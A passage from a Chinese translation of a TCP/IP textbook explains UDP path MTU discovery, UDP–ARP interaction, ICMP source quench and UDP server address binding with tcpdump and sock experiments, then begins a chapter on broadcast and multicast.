在主机sun上运行tcpdump观察SLIP链路，看什么时候发生分片。开始没有观察到分片，一切都很正常直到ping分组的数据长度从500增加到600字节。可以看到接收到的回显请求（仍然没有分片），但不见回显回答。
为了跟踪下去，也在主机bsdi上运行tcpdump，观察它接收和发送的报文。输出如图11.11所示。
图11.11 当IP数据报长度为600字节从solaris主机ping到bsdi主机时的tcpdump输出
首先，每行中的标记（DF）说明在IP首部中设置了不分片比特。这意味着Solaris 2.2 一般把不分片比特置1，作为实现路径MTU发现机制的一部分。
第1行显示的是回显请求通过路由器netb到达sun主机，没有进行分片，并设置了DF比特，因此我们知道还没有达到netb的SLIP MTU。
接下来，在第2行注意DF标志被复制到回显回答报文中。这就带来了问题。回显回答与回显请求报文长度相同（超过600字节），但是sun外出的SLIP接口MTU为552。因此回显回答需要进行分片，但是DF标志比特又被设置了。这样，sun就产生一个ICMP不可到达差错报文返回给bsdi（报文在bsdi处被丢弃）。
这就是我们在主机solaris上没有看到任何回显回答的原因。这些回答永远不能通过sun。分组的路径如图11.12所示。
图11.12 例子中的分组交换
最后，在图11.11中的第3行和第6行中，mtu=0表示主机sun没有在ICMP不可到达报文中返回出口MTU值，如图11.9所示。（在25.9节中，我们将重新回到这个问题，用SNMP判断netb上的SLIP接口MTU值为1500。）
11.7 用Traceroute确定路径MTU
尽管大多数的系统不支持路径MTU发现功能，我们可以很容易地修改traceroute程序（第8章），用它来确定路径MTU。我们要做的是发送分组，并设置“不分片”标志比特。我们发送的第一个分组的长度正好与出口MTU相等，每次收到ICMP“不能分片”差错时（我们在上一节讨论的）我们减小分组的长度。如果路由器发送的ICMP差错报文是新格式，包含出口的MTU，那么我们就用该MTU值来发送，否则就用下一个最小的MTU值来发送。正如RFC 1191 [Mogul and Deering 1990]声明的那样，MTU值的个数是有限的，因此在我们的程序中有一些由近似值构成的表，取下一个最小MTU值来发送。
首先，我们尝试判断从主机sun到主机slip的路径MTU，知道SLIP链路的MTU为296。
（见原书p.154的①）
在这个例子中，路由器bsdi没有在ICMP差错报文中返回出口MTU，因此我们选择另一个MTU近似值。TTL为2的第1行输出打印的主机名为bsdi，但这是因为它是返回ICMP差错报文的路由器。TTL为2的最后一行正是我们所要找的。
在bsdi上修改ICMP代码使它返回出口MTU值并不困难，如果我们那样做并再次运行该程序，得到如下输出结果：
（见原书p.154的②）
这时，在找到正确的MTU值之前我们不用逐个尝试8个不同的MTU值——路由器返回了正确的MTU值。
全球互连网
作为一个实验，我们多次运行修改以后的traceroute程序，目的端为世界各地的主机。可以到达十五个国家（包括南极洲），使用了多个跨大西洋和跨太平洋的链路。但是，在这样做之前，作者所在子网与路由器netb之间的拔号SLIP链路MTU（图11.12）增加到1500，与以太网相同。
在18次运行当中，只有其中2次发现的路径MTU小于1500。其中一个跨大西洋的链路MTU值为572（其近似值甚至在RFC 1191也没有被列出），而路由器返回的是新格式的ICMP差错报文。另外一条链路，在日本的两个路由器之间，不能处理1500字节的数据帧，并且路由器没有返回新格式的ICMP差错报文。把MTU值设成1006则可以正常工作。
从这个实验我们可以得出结论，现在许多但不是所有的广域网都可以处理大于512字节的分组。利用路径MTU发现机制，应用程序就可以充分利用更大的MTU来发送报文。
11.8 采用UDP的路径MTU发现
下面让我们对使用UDP的应用程序与路径MTU发现机制之间的交互作用进行研究。我们看一看如果应用程序写了一个对于一些中间链路来说太长的数据报时会发生什么情况。
例子
由于我们所使用的支持路径MTU发现机制的唯一系统就是Solaris 2.x，因此，我们将采用它作为源站发送一份650字节数据报经slip。由于我们的slip主机位于MTU为296的SLIP链路后，因此，任何长于268字节（296-20-8）且“不分片”比特置为1的UDP数据都会使bsdi路由器产生ICMP“不能分片”差错报文。图11.13给出了拓扑结构和MTU。
图11.13 使用UDP进行路径MTU发现的系统
可以用下面的命令行来产生650字节UDP数据报，每两个UDP数据报之间的间隔是5秒：
solaris % sock -u -I -n10 -w650 -p5 slip discard
图11.14是tcpdump的输出结果。在运行这个例子时，将bsdi设置成在ICMP“不能分片”差错中，不返回下一跳MTU信息。
在发送的第一个数据报中将DF比特置1（第1行），其结果是从bsdi路由器发回的我们可以猜测的结果（第2行）。令不不解的是，发送一个DF比特置1的数据报（第3行），其结果是同样的ICMP差错（第4行）。我们预计这个数据报在发送时应该将DF比特置0。
第5行结果显示，IP已经知道了发往该目的地址的数据报不能将DF比特置1，因此，IP进而将数据报在源站主机上进行分片。这与前面的例子中，IP发送经过UDP的数据报，允许具有较小MTU的路由器（在本例中是bsdi）对它进行分片的情况不一样。由于ICMP“不能分片”报文并没有指出下一跳的MTU，因此看来IP猜测MTU为576就行了。第一次分片（第5行）包含544字节的UDP数据，8字节UDP首部以及20字节IP首部，因此，总IP数据报长度是572字节。第2次分片（第6行）包含剩余的106字节UDP数据和20字节IP首部。
图11.14 使用UDP路径MTU发现
不幸的是，第7行的下一个数据报将其DF比特置1，因此bsdi将它丢弃并返回ICMP差错。这时发生了IP定时器超时，通知IP查看是不是因为路径MTU增大了而将DF比特再一次置1。我们可以从第19行和20行看出这个结果。将第7行与19行进行比较，看来IP每过30秒就将DF比特置1，以查看路径MTU是否增大了。
（下面是原书p.156①的译文）
这个30秒的定时器值看来太短。RFC 1191建议其值取10分钟。可以通过修改ip_ire_pathmtu_interval（E.4节）参数来改变该值。同时，Solaris 2.2无法对单个UDP应用或所有UDP应用关闭该路径MTU发现。只能通过修改ip_path_mtu_discovery参数，在系统一级上开放或关闭它。正如我们在这个例子里所能看到的那样，如果允许路径MTU发现，那么当UDP应用程序写入可能被分片数据报时，该数据报将被丢弃。
solaris的IP层所假设的最大数据报长度（576字节）是不正确的。在图11.13中，我们看到，实际的MTU值是296字节。这意味着经solaris分片的数据报还将被bsdi分片。图11.15给出了在目的主机（slip）上所收集到的tcpdump对于第一个到达数据报的输出结果（图11.14的第5行和第6行）。
图11.15 从solaris到达slip的第一个数据报
在本例中，solaris不应该对外出数据报分片，它应该将DF比特置0，让具有最小MTU的路由器来完成分片工作。
现在我们运行同一个例子，只是对路由器bsdi进行修改使其在ICMP“不能分片”差错中返回下一跳MTU。图11.16给出了tcpdump输出结果的前6行。
图11.16 使用UDP的路径MTU发现
与图11.14一样，前两个数据报同样是将DF比特置1后发送出去的。但是在知道了下一跳MTU后，只产生了3个数据报片，而图11.15中的bsdi路由器则产生了4个数据报片。
11.9 UDP和ARP之间的交互作用
使用UDP，我们可以看到UDP与ARP典型实现之间的有趣的（而常常未被人提及）交互作用。
我们用sock程序来产生一个包含8192字节数据的UDP数据报。我们预测这将会在以太网上产生6个数据报片（见习题11.3）。我们同时也确保在运行该程序前，ARP缓存是清空的，这样，在发送第一个数据报片前必须交换ARP请求和回答。
bsdi % arp -a验证ARP高速缓存是空的
bsdi % sock -u -i -nl -w8192 svr4 discard
我们预计在发送第一个数据报片前会先发送一个ARP请求。IP还会产生5个数据报片，这样就提出了我们必须用tcpdump来回答的两个问题：在接收到ARP回答前，其余数据报片是否已经做好了发送准备？如果是这样的话，那么在ARP等待回答时，它会如何处理发往给定目的的多个报文？图11.17给出了tcpdump的输出结果。
图11.17 在以太网上发送8192字节UDP数据报时的报文交换
在这个输出结果中有一些令人吃惊的结果。首先，在第一个ARP回答返回以胶，总共产生了6个ARP请求。我们认为其原因是IP很快地产生了6个数据报片，而每个数据报片都引发了一个ARP请求。
第二，在接收到第一个ARP回答时（第7行），只发送最后一个数据报片（第9行）！看来似乎将前5个数据报片全都丢弃了。实际上，这是ARP的正常操作。在大多数的实现中，在等待一个ARP回答时，只将最后一个报文发送给特定目的主机。
（下面是原书p.158①的译文）
Host Requirements RFC要求实现中必须防止这种类型的ARP洪泛（ARP flooding，即以高速率重复发送到同一个IP地址的ARP请求）。建议最高速率是每秒一次。而这里却在4.3 ms内发出了6个ARP请求。
Host Requirements RFC规定，ARP应该保留至少一个报文，而这个报文必须是最后一个报文。这正是我们在这里所看到的结果。
另一个无法解释的不正常的现象是，svr4发回7个，而不是6个ARP回答。
最后要指出的是，在最后一个ARP回答返回后，继续运行tcpdump程序5分钟，以看看svr4是否会返回ICMP“组装超时”差错。并没有发送ICMP差错。（我们在图8.2中给出了该消息的格式。code字段为1表示在重新组装数据报时发生了超时。）
在第一个数据报片出现时，IP层必须启动一个定时器。这里“第一个”表示给定数据报的第一个到达数据报片，而不是第一个数据报片（数据报片偏移为0）。正常的定时器值为30或60秒。如果在定时器超时而该数据报的所有数据报片未能全部到达，那么将这些数据报片丢弃。如果不这么做的话，那些永远不会到达的数据报片（正如我们在本例中所看到的那样）迟早会引起接收端缓存满。
这里我们没看到ICMP消息的原因有两个。首先，大多数从Berkeley衍生的实现从不产生该差错！这些实现会设置定时器，也会在定时器溢出时将数据报片丢弃，但是不生成ICMP差错。第二，并未接收到包含UDP首部的偏移量为0的第一个数据报片。（这是被ARP所丢弃的5个报文的第1个。）除非接收到第一个数据报片，否则并不要求任何实现产生ICMP差错。其原因是因为没有运输层首部的话，ICMP差错的接收者无法区分出是哪个进程所发送的数据报被丢弃。这里假设上层（TCP或使用UDP的应用程序）最终会超时并重传。
在本节中，我们使用IP数据报片来查看UDP与ARP之间的交互作用。如果发送端迅速发送多个UDP数据报的话，也可以看到这个交互过程。我们选择采用分片的方法，是因为IP可以生成报文的速度，比一个用户进程生成多个数据报的速度更快。
尽管本例看来不太可能，但它确实经常发生。NFS发送的UDP数据报长度超过8192字节。在以太网上，这些数据报以我们所指出的方式进行分片，如果适当的ARP缓存入口发生超时，那么你就可以看到我们这里所显示的现象。NFS将超时并重传，但是由于ARP的有限队列，第一个IP数据报仍可能被丢弃。
11.10 最大UDP数据报长度
理论上，IP数据报的最大长度是65535字节，这是由IP首部（图3.1节）16比特总长度字段所限制的。去除20字节的IP首部和8个字节的UDP首部，UDP数据报中用户数据的最长长度为65507字节。但是，大多数实现所提供的长度比这个最大值小。
我们将遇到两个限制因素。第一，应用程序可能会受到其程序接口的限制。socket API提供了一个可供应用程序调用的函数，以设置接收和发送缓存的长度。对于UDP socket，这个长度与应用程序可以读写的最大UDP数据报的长度直接相关的。现在的大部分系统都默认提供了可读写大于8192字节的UDP数据报。（使用这个默认值是因为8192是NFS读写用户数据数的默认值。）
第二个限制来自于TCP/IP的内核实现。可能存在一些实现特性（或差错），使IP数据报长度小于65535字节。
（下面是原书p.159①的译文）
作者使用sock程序对不同UDP数据报长度进行了试验。在SunOS 1.1.3下使用环回接口的最大IP数据报长度是32767字节。比它大的值都会发生差错。但是从BSD/386到SunOS 4.1.3的情况下，Sun所能接收到最大IP数据报长度为32786字节（即32758字节用户数据）。在Solaris 2.2下使用环回接口，最大可收发IP数据报长度为65535字节。从Solaris 2.2到AIX 3.2.2发送的最大IP数据报长度可以是65535字节。很显然，这个限制与源端和目的端的实现有关。
我们在3.2节中提过，要求主机必须能够接收最短为576字节的IP数据报。在许多UDP应用程序的设计中，其应用程序数据被限制成512字节或更小，因此比这个限制值小。例如，我们在10.4节中看到，路径信息协议总是发送每份数据报小于512字节的数据。我们还会在其它UDP应用程序如DNS（第14章），TFTP（第15章），BOOTP（第16章）以及SNMP（第25章）遇到这个限制。
数据报截断
由于IP能够发送或接收特定长度的数据报并不意味着接收应用程序可以读取该长度的数据。因此，UDP编程接口允许应用程序指定每次返回的最大字节数。如果接收到的数据报长度大于应用程序所能处理的长度，那么会发生什么情况呢？
不幸的是，该问题的答案取决于编程接口和实现。
（下面是原书p.160①的译文）
典型的Berkeley版socket API对数据报进行截断，并丢弃任何多余的数据。应用程序何时能够知道则与版本有关。（4.3BSD Reno及其后的版本可以通知应用程序数据报被截断。）
SVR4下的socket API(包括Solaris 2.x) 并不截断数据报。超出部分数据在后面的读取中返回。它也不通知应用程序从单个UDP数据报中多次进行读取操作。
TLI API不丢弃数据。相反地，它返回一个标志表明可以获得更多的数据，而应用程序后面的读操作将返回数据报的其余部分。
在我们讨论TCP时，我们发现它为应用程序提供连续的字节流，而没有任何信息边界。TCP以应用程序读操作时所要求的长度来传送数据，因此，在这个接口下，不会发生数据丢失。
11.11 ICMP源站抑制差错
我们同样也可以使用UDP产生ICMP“源站抑制(source quench)”差错。当一个系统（路由器或主机）接收数据报的速度比其处理速度快时，可能产生这个差错。注意限定词“可能”。即使一个系统已经没有缓存并丢弃数据报，也不要求它一定要发送源站抑制报文。
图11.18给出了ICMP源站抑制差错报文的格式。我们有一个很好的方案可以在我们的测试网络里产生该差错报文。我们可以从bsdi通过必须经过拨号SLIP链路的以太网，将数据报发送给路由器sun。由于SLIP链路的速度大约只有以太网的千分之一，因此，我们很容易就可以使其缓存用完。下面的命令行从主机bsdi通过路由器sun发送100个1024字节长数据报给solaris。我们将数据报发送给标准的丢弃服务，这样，这些数据报将被忽略：
bsdi % sock -u -I -w1024 -n100 solaris discard
图11.18 ICMP源站抑制差错报文格式
图11.19给出了与此命令行相对应的tcpdump输出结果
图11.19 来自路由器sun的ICMP源站抑制
在这个输出结果中，我们删除了很多行，这只是一个模型。接收前26个数据报时未发生差错；我们只给出了第一个数据报的结果。然而，从我们的第27个数据报开始，我们每发送一份数据报，就会接收到一份源站抑制差错报文。总共有26 +（74×2）=174行输出结果。
从我们2.10节的并行线吞吐率计算结果可以知道，以9600 b/s速率传送1024字节数据报只需要1秒时间。（由于从sun到netb的SLIP链路的MTU为552字节，因此在我们的例子中，20 + 8 + 1024字节数据报将进行分片，因此，其时间会稍长一些。）但是我们可以从图11.19的时间中看出，sun路由器在不到1秒时间内就处理完所有的100个数据报，而这时，第一份数据报还未通过SLIP链路。因此我们用完其缓存就不足不奇了。
（下面是原书p.161①的译文）
尽管RFC 1009 [Braden and Postel 1987] 要求路由器在没有缓存时产生源站抑制差错报文，但是新的Router Requirements RFC [Almquist 1993] 对此作了修改，提出路由器不应该产生源站抑制差错报文。由于源站抑制要消耗网络带宽且对于拥塞来说是一种无效而不公平的调整，因此现在人们对于源站抑制差错的态度是不支持的。
在本例中，还需要指出的是，我们的sock程序要么没有接收到源站抑制差错报文，或者接收到却将它们忽略了。结果是如果采用UDP协议，那么BSD实现通常忽略其接收到的源站抑制报文。（正如我们在21.10节所讨论的那样，TCP接受源站抑制差错报文，并将放慢在该连接上的数据传输速度。）其部分原因在于，在接收到源站抑制差错报文时，导致源站抑制的进程可能已经中止了。实际上，如果我们使用Unix 的time程序来测定我们的sock程序所运行的时间，其结果是它只运行了大约0.5秒时间。但是从图11.19中我们可以看到，在发送第一份数据报过后0.71秒才接收到一些源站抑制，而此时该进程已经中止。其原因是我们的程序写入了100个数据报然后中止了。但是所有的100个数据报都已发送出去——有一些数据报在输出队列中。
这个例子重申了UDP是一个非可靠的协议，它说明了端到端的流量控制。尽管我们的sock程序成功地将100个数据报写入其网络，只有26个数据报真正发送到了目的端。其它74个数据报可能被中间路由器所丢弃。除非我们在应用程序中建立一些回答机制，否则发送端并不知道接收端是否收到了这些数据。
11.12 UDP服务器的设计
使用UDP的一些蕴含对于设计和实现服务器产生影响。通常，客户端的设计和实现比服务器端的要容易一些，这就是我们为什么要讨论服务器的设计，而不是讨论客户端的设计的原因。典型的服务器与操作系统进行交互作用，而且大多数需要同时处理多个客户。
通常一个客户启动后直接与单个服务器通信，然后就结束了。而对于服务器来说，它启动后处于休眠状态，等待客户请求的到来。对于UDP来说，当客户数据报到达时，服务器苏醒过来，数据报中可能包含来自客户的某种形式的请求消息。
在这里我们所感兴趣的并不是客户和服务器的编程方面（[Stevens 1990]对这些方面的细节进行了讨论），而是UDP那些影响使用该协议的服务器的设计和实现方面的协议特性。（我们在 18.11节中对TCP服务器的设计进行了描述。）尽管我们所描述的一些特性取决于所使用UDP的实现，但对于大多数实现来说，这些特性是公共的。
客户IP地址及端口号
来自客户的是UDP数据报。IP首部包含源端和目的端IP地址，UDP首部包含了源端和目的端的UDP端口号。当一个应用程序接收到UDP数据报时，操作系统必须告诉它是谁发送了这份消息，即源IP地址和端口号。
这个特性允许一个交互UDP服务器对多个客户进行处理。给每个发送请求的客户发回回答。
目的IP地址
一些应用程序需要知道数据报是发送给谁的，即目的IP地址。例如，Host Requirements RFC规定，TFTP服务器必须忽略接收到的发往广播地址的数据报。（我们分别在第12章和第15章对广播和TFTP进行描述。）
这要求操作系统从接收到的UDP数据报中将目的IP地址交给应用程序。不幸的是，并非所有的实现都提供这个功能。
(下面是原书p.163①的译文)
socket API以IP_RECVDSTADDR socket选项提供了这个功能。对于本文中使用的系统，只有BSD/386，4.4BSD和AIX 3.2.2支持该选项。SVR4，SunOS 4.x和Solaris 2.x都不支持该选项。
UDP输入队列
我们在1.8节中说过，大多数UDP服务器是交互服务器。这意味着，单个服务器进程对单个UDP端口上（服务器上的名知端口）的所有客户请求进行处理。
通常程序所使用的每个UDP端口都与一个有限大小的输入队列相联系。这意味着，来自不同客户的差不多同时到达的请求将由UDP自动排队。接收到的UDP数据报以其接收顺序交给应用程序（在应用程序要求交送下一个数据报时）。
然而，排队溢出造成内核中的UDP模块丢弃数据报的可能性是存在的。我们可以进行以下试验。我们在作为UDP服务器的bsdi主机上运行sock程序：
bsdi % sock -s -u -v -E -R256 -P30 6666
from 140.252.13.33, to 140.252.13.63: 1111111111 从sun发送到广播地址
from 140.252.13.34, to 140.252.13.35: 4444444444444 从svr4发送到单目地址
我们指明以下标志：-s表示作为服务器运行，-u表示UDP，-v表示打印客户的IP地址，-E表示打印目的IP地址（该系统支持这个功能）。另外，我们将这个端口的UDP接收缓存设置为256字节（-R），其每次应用程序读取的大小也是这个数（-r）。标志 -P30 表示创建UDP端口后，先暂停30秒后再读取第一个数据报。这样，我们就有时间在另两台主机上启动客户程序，发送一些数据报，以查看接收队列是如何工作的。
服务器一开始工作，处于其30秒的暂停时间内，我们就在sun主机上启动一个客户，并发送三个数据报：
sun % sock -u -v 140.252.13.63 6666 到以太网广播地址
connected on 140.252.13.33.1252 to 140.252.13.63.6666
1111111111 11字节的数据（新行）
222222222 10字节的数据（新行）
3333333333312字节的数据（新行）
目的地址是广播地址（140.252.13.63）。我们同时也在主机svr4上启动第2个客户，并发送另外三个数据报：
svr4 % sock -u -v bsdi 6666
connected on 0.0.0.0.1042 to 140.252.13.35.6666
4444444444444 14字节的数据（新行）
555555555555555 16字节的数据（新行）
66666666 9字节的数据（新行）
首先，我们早些时候在bsdi上所看到的结果表明，应用程序只接收到2个数据报：来自sun的第一个全1报文，和来自svr4的第一个全4报文。其它4个数据报看来全被丢弃。
图11.20给出的tcpdump输出结果表明，所有6个数据报都发送给了目的主机。两个客户的数据报以交替顺序键入：第一个来自sun，然后是来自svr4的，以此类推。我们同时也可以看出，全部6个数据报大约在12秒内发送完毕，也就是在服务器休眠的30秒内完成的。
图11.20 两个客户发送UDP数据报的tcpdump输出结果
我们还可以看到，服务器的-E选项使其可以知道每个数据报的目的IP地址。如果需要的话，它可以选择如何处理其接收到的第一个数据报，这个数据报的地址是广播地址。
我们可以从本例中看到以下几个要点。首先，应用程序并不知道其输入队列何时溢出。只是由UDP对超出数据报进行丢弃处理。同时，从tcpdump输出结果，我们看到，没有发回任何信息告诉客户其数据报被丢弃。这里不存在象ICMP源站抑制这样发回发送端的消息。最后，看来UDP输出队列是FIFO（先进先出）的，而我们在11.9节中所看到的ARP输入却是LIFO（后进先出）的。
限制本地IP地址
大多数UDP服务器在创建UDP端点时都使其本地IP地址具有通配符(wildcard)的特点。这就表明进入的UDP数据报如果其目的地为服务器端口，那么在任何本地接口均可接收到它。例如，我们以端口号777启动一个UDP服务器：
sun % sock -u -s 7777
然后，我们用netstat命令观察端点的状态：
sun % netstat -a -n -f inet
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
udp 0 0 *.7777 *.*
这里，我们删除了许多行，只保留了其中我们感兴趣的东西。-a选项表示报告所有网络端点的状态。-n选项表示以点数格式打印IP地址而不用DNS把地址转换成名字，打印数字端口号而不是服务名称。-f inet选项表示只报告TCP和UDP端点。
本地地址以*.7777格式打印，星号表示任何本地IP地址。
当服务器创建端点时，它可以把其中一个主机本地IP地址包括广播地址指定为端点的本地IP地址。只有当目的IP地址与指定的地址相匹配时，进入的UDP数据报才能被送到这个端点。用我们的sock程序，如果我们在端口号之前指定一个IP地址，那么该IP地址就成为该端点的本地IP地址。例如：
sun % sock -u -s 140.252.1.29 7777
就限制服务器在SLIP接口(140.252.1.29)处接收数据报。netstat输出结果显示如下：
Proto Recv-Q Send-Q Local Address Foreign Address (state)
udp 0 0 140.252.1.29.7777 *.*

如果我们试图在以太网上的主机bsdi以地址140.252.13.35向该服务器发送一份数据报，那么将返回一个ICMP端口不可到达差错。服务器永远看不到这份数据报。这种情形如图11.21所示。
图11.21 服务器本地地址绑定导致拒绝接收UDP数据报
有可能在相同的端口上启动不同的服务器，每个服务器具有不同的本地IP地址。但是，一般必须告诉系统应用程序重用相同的端口号没有问题。
（下面是原书p.165①的译文）
使用sockets API时，必须指定SO_REUSEADDR socket选项。在我们的sock程序中是通过-A选项来完成的。
在我们的主机sun上，我们可以在同一个端口号（8888）上启动5个不同的服务器：
（见原书p.165的②）
除了第一个以外，其他的服务器都必须以-A选项启动，告诉系统可以重用同一个端口号。5个服务器的netstat输出结果如下所示：
（见原书p.165的③）
在这种情况下，到达服务器的数据报中，只有带星号的本地IP地址其目的地址为140.252.1.255，因为其他4个服务器占用了其他所有可能的IP地址。
如果存在一个含星号的IP地址，那么就隐含了一种优先级关系。如果为端点指定了特定IP地址，那么在匹配目的地址时始终优先匹配该IP地址。只有在匹配不成功时才使用含星号的端点。
限制外部IP地址
在前面所有的netstat结果输出中，外部IP地址和外部端口号都显示为*.* ，其意思是该端点将接受来自任何IP地址和任何端口号的UDP数据报。大多数系统允许UDP端点对外部地址进行限制。
这说明端点将只能接收特定IP地址和端口号的UDP数据报。我们的sock程序用-f 选项来指定外部IP地址和端口号：
sun % sock -u -s -f 140.252.13.35.4444 5555
这样就设置的外部IP地址140.252.13.35（即主机bsdi）和外部端口号4444 。服务器的有名端口号为5555。如果我们运行netstat命令，我们发现本地IP地址也被设置了，尽管我们没有指定。
Proto Recv-Q Send-Q Local Address Foreign Address (state)
udp 0 0 140.252.13.33.5555 140.252.13.35.4444
这是在伯克利派生系统中指定外部IP地址和端口号带来的副作用：如果在指定外部地址时没有选择本地地址，那么将自动选择本地址址。它的值就成为选择到达外部IP地址路由时将选择的接口IP地址。事实上，在这个例子中，sun在以太网上的IP地址与外部地址140.252.13.33相连。
图11.22总结了UDP服务器本身可以创建的三类地址绑定。
（以下是图11.22中的部分译文）
本地地址
外部地址
描述
localIP.lport
foreignIP.fport
只限于一个客户
localIP.lport
*.*
限于到达一个本地接口的数据报：localIP
*.lport
*.*
接收发送到lport的所有数据报
图11.22 为UDP服务器指定本地和外部IP地址及端口号
在所有情况下，lport指的是服务器有名端口号，localIP必须是本地接口的IP地址。表中这三行的排序是UDP模块在判断用哪个端点接收数据报时所采用的顺序。最为确定的地址（第一行）首先被匹配，最不确定的地址（最后一行IP地址带有两个星号）最后进行匹配。
每个端口有多个接收者
尽管在RFC中没有指明，但大多数的系统在某一时刻只允许一个程序端点与某个本地IP地址及UDP端口号相关联。当目的地为该IP地址及端口号的UDP数据报到达主机时，就复制一份传给该端点。端点的IP地址可以含星号，正如我们前面讨论的那样。
例如，在SunOS 4.1.3中，我们启动一个端口号为9999的服务器，本地IP地址含有星号：
sun % sock -u -s 9999
接着，如果我们启动另一个具有相同本地地址和端口号的服务器，那么它将不运行，尽管我们指定了-A选项：
sun % sock -u -s 9999 我们预计它会失败
can't bind local address: Address already in use
sun % sock -u -s -A 9999 因此这次尝试-A参数
can't bind local address: Address already in use
在一个支持多播的系统上（第12章），这种情况将发生变化。多个端点可以使用同一个IP地址和UDP端口号，尽管应用程序通常必须告诉API是可行的（如，用我们的-A标志来指明SO_REUSEADDR socket选项）。
（下面是原书p.167①的译文）
4.4BSD支持多目传送，需要应用程序设置一个不同的socket选项（SO_REUSEPORT）以允许多个端点共享同一个端口。另外，每个端点必须指定这个选项，包括使用该端口的第一个端点。
当UDP数据报到达的目的IP地址为广播地址或多播地址，而且在目的IP地址和端口号处有多个端点，那么就向每个端点传送一份数据报复制。（端点的本地IP地址可以含有星号，它可匹配任何目的IP地址。）但是，如果UDP数据报到达的是一个单目地址，那么只向其中一个端点传送一份数据报复制。选择哪个端点传送数据取决于各个不同的系统实现。
11.13 小结
UDP是一个简单协议。它的正式规约是RFC 768 [Postel 1980]，只包含三页内容。它向用户进程提供的服务位于IP层之上，包括端口号和可选的检验和。我们用UDP来检查检验和，并观察分片是如何进行的。
接着，我们的讨论了ICMP不可到达差错，它是新的路径MTU发现功能中的一部分（2.9节）。我们用Traceroute和UDP来观察路径MTU发现过程。我们还查看了UDP和ARP之间的接口，大多数的ARP实现在等待ARP回答时只保留最近传送给目的端的数据报。
当系统接收IP数据报的速率超过这些数据报被处理的速率时，系统可能发送ICMP源站抑制差错报文。使用UDP时很容易产生这样的ICMP差错。
习题
11.1 在11.5节中，我们向UDP数据报中写入1473字节用户数据时导致以太网数据报片的发生。在采用以太网IEEE802封装格式时，导致分片的最小用户数据长度为多少？
11.2 阅读RFC 791[Postel 1981a]，理解为什么除最后一片外，其他片中的数据长度均要求为8字节整数倍？
11.3 假定有一个以太网和一份8192字节的UDP数据报，那么需要分成多少个数据报片，每个数据报片的偏移和长度为多少？
11.4 继续前一习题，假定这些数据报片要经过一条MTU为552的SLIP链路。必须记住每一个数据报片中的数据（除IP首部外）为8字节整数倍。那么又将分成多少个数据报片，每个数据报片的偏移和长度为多少？
11.5 一个用UDP发送数据报的应用程序，它把数据报分成4个数据报片。假定第1片和第2片到达目的端，而第3片和第4片丢失了。应用程序在10秒钟后超时重发该UDP数据报，并且被分成相同的4片（相同的偏移和长度）。假定这一次接收主机重新组装的时间为60秒，那么当重发的第3片和第4片到达目的端时，原先收到的第1片和第2片还没有被丢弃。接收端能否把这4片数据重新组装成一份IP数据报？
11.6 你是如何知道图11.15中的片实际上与图11.14中第5行和第6行相对应？
11.7 主机gemini开机33天后，netstat程序显示48,000,000份IP数据报中由于首部检验和差错被丢弃129份，在30,000,000个TCP段中由于TCP检验和差错而被丢弃20个。但是，在大约18,000,000份UDP数据报中，因为UDP检验和差错而被丢弃的数据报一份也没有。请说明两个方面的原因。（提示：参见图11.4 。）
11.8 我们在讨论分片时没有提及任何关于IP首部中的选项——它们是否也要被复制到每个数据报片中，或者只留在第一个数据报片中？我们已经讨论过下面这些IP选项：记录路由（7.3节），时间戳（7.4节），严格和宽松的源站选路（8.5节）。你希望分片如何处理这些选项？对照RFC 791检查你的答案。
11.9 在图1.8中，我们说UDP数据报是根据目的UDP端口号进行分配的。这正确的吗？
11－1
12
广播和多播
12.1 引言
在第1章中我们提到有三种IP地址：单播地址、广播地址和多播地址。本章将更详细地介绍广播和多播。
广播和多播仅应用于UDP，它们对需将报文同时传往多个接收者的应用来说十分重要。TCP是一个面向连接的协议，它意味着分别运行于两主机（由IP地址确定）内的两进程（由端口号确定）间存在一条连接。
考虑包含多个主机的共享信道网络如以太网。每个以太网帧包含源主机和目的主机的以太网地址（48 bit）。通常每个以太网帧仅发往单个目的主机，目的地址指明单个接收接口，因而称为单播(unicast)。在这种方式下，任意两个主机的通信不会干扰网内其他主机（可能引起争夺共享信道的情况除外）。
然而，有时一个主机要向网上的其他主机发送帧，这就是广播。通过ARP和RARP可以看到这一过程。多播(multicast) 处于单播和广播之间：帧仅传送给属于多播组的多个主机。
为了弄清广播和多播，需要了解主机对由信道传送过来帧的过滤过程。图12.1说明了这一过程。
首先，网卡查看由信道传送过来的帧，确定是否接收该帧，若接收后就将它传往设备驱动程序。通常网卡仅接收那些目的地址为网卡物理地址或广播地址的帧。另外，多数接口均被设置为混合模式，这种模式能接收每个帧的一个复制。作为一个例子，tcpdump使用这种模式。
图12.1 协议栈各层对收到帧的过滤过程
目前，大多数的网卡经过配置都能接收目的地址为多播地址或某些子网多播地址的帧。对于以太网，当地址中最高字节的最低位设置为1时表示该地址是一个多播地址，用十六进制可表示为01:00:00:00:00:00。（以太网广播地址ff:ff:ff:ff:ff:ff可看作是以太网多播地址的特例。）
如果网卡收到一个帧，这个帧将被传送给设备驱动程序。（如果帧检验和错，网卡将丢弃该帧。）设备驱动程序将进行另外的帧过滤。首先，帧类型中必须指定要使用的协议（IP，ARP等等）。其次，进行多播过滤来检测该主机是否属于多播地址说明的多播组。
设备驱动程序随后将数据帧传送给下一层，比如，当帧类型指定为IP数据报时，就传往IP层。IP根据IP地址中的源地址和目的地址进行更多的过虑检测，如果正常，将数据报传送给下一层（如TCP或UDP）。
每次UDP收到由IP传送来的数据报，就根据目的端口号，有时还有源端口号进行数据报过滤。如果当前没有进程使用该目的端口号，就丢弃该数据报并产生一个ICMP不可达报文。（TCP根据它的端口号作相似的过虑。）如果UDP数据报存在检验和错，将被丢弃。
使用广播的问题在于它增加了对广播数据不感兴趣主机的处理负荷。拿一个使用UDP广播应用作为例子，如果网内有50个主机，但仅有20个参与该应用，每次这20个主机中的一个发送UDP广播数据时，其余30个主机不得不处理这些广播数据报，而直到UDP层，收到的UDP广播数据报才会被丢弃。这30个主机丢弃UDP广播数据报是因为这些主机没有使用这个目的端口。
多播的出现减少了对应用不感兴趣主机的处理负荷。使用多播，主机可加入一个或多个多播组。这样，网卡将获悉该主机属于哪个多播组，然后仅接收主机所在多播组的那些多播帧。
12.2 广播
在图3.9中，我们知道了四种IP广播地址，下面对它们进行更详细的介绍。
受限的广播
受限的广播地址是255.255.255.255。该地址用于主机配置过程中IP数据报中目的地址，此时，主机可能还不知道它所在网络的网络掩码，甚至连它的IP地址也不知道。
在任何情况下，路由器都不转发目的地址为受限的广播地址的数据报，这样的数据报仅出现在本地网络中。
